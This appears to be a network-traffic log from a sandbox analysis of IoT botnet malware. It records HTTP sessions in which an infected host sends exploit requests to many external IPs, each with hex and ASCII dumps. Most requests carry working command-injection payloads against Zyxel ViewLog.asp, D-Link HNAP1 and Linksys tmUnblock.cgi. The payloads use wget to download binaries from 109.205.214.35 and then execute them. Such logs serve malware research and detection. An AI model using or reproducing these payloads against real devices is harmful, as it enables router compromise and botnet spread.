remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:57.197637081 CET	108	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 35 Connection: keep-alive
Mar 21, 2024 05:22:57.197712898 CET	47	IN	Data Raw: 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: Error 404: Not FoundFile not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.13	54560	213.0.95.61	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:57.010251999 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:58.060277939 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:59.283318996 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:01.804249048 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:06.668242931 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:16.396270037 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:36.876255035 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.13	60180	86.159.121.133	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:57.051882029 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.13	48770	95.57.104.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:57.072046041 CET	794	IN	Data Raw: 28 6e 75 6c 6c 29 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 33 30 20 32 36 4f 63 74 32 30 31 38 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 Data Ascii: (null) 400 Bad RequestServer: mini_httpd/1.30 26Oct2018Date: Thu, 21 Mar 2024 04:22:56 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sContent-Security-Policy: frame-ancestors 'none'Content-Security-Policy: fr

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.13	59732	83.66.66.97	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:57.103674889 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.13	34550	80.87.192.197	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:57.213985920 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:58.284234047 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:58.492090940 CET	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:58 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Mar 21, 2024 05:23:00.373481989 CET	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:22:58 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.13	39066	206.233.173.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:57.313745022 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:58.860240936 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.13	33552	169.48.96.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:57.336497068 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
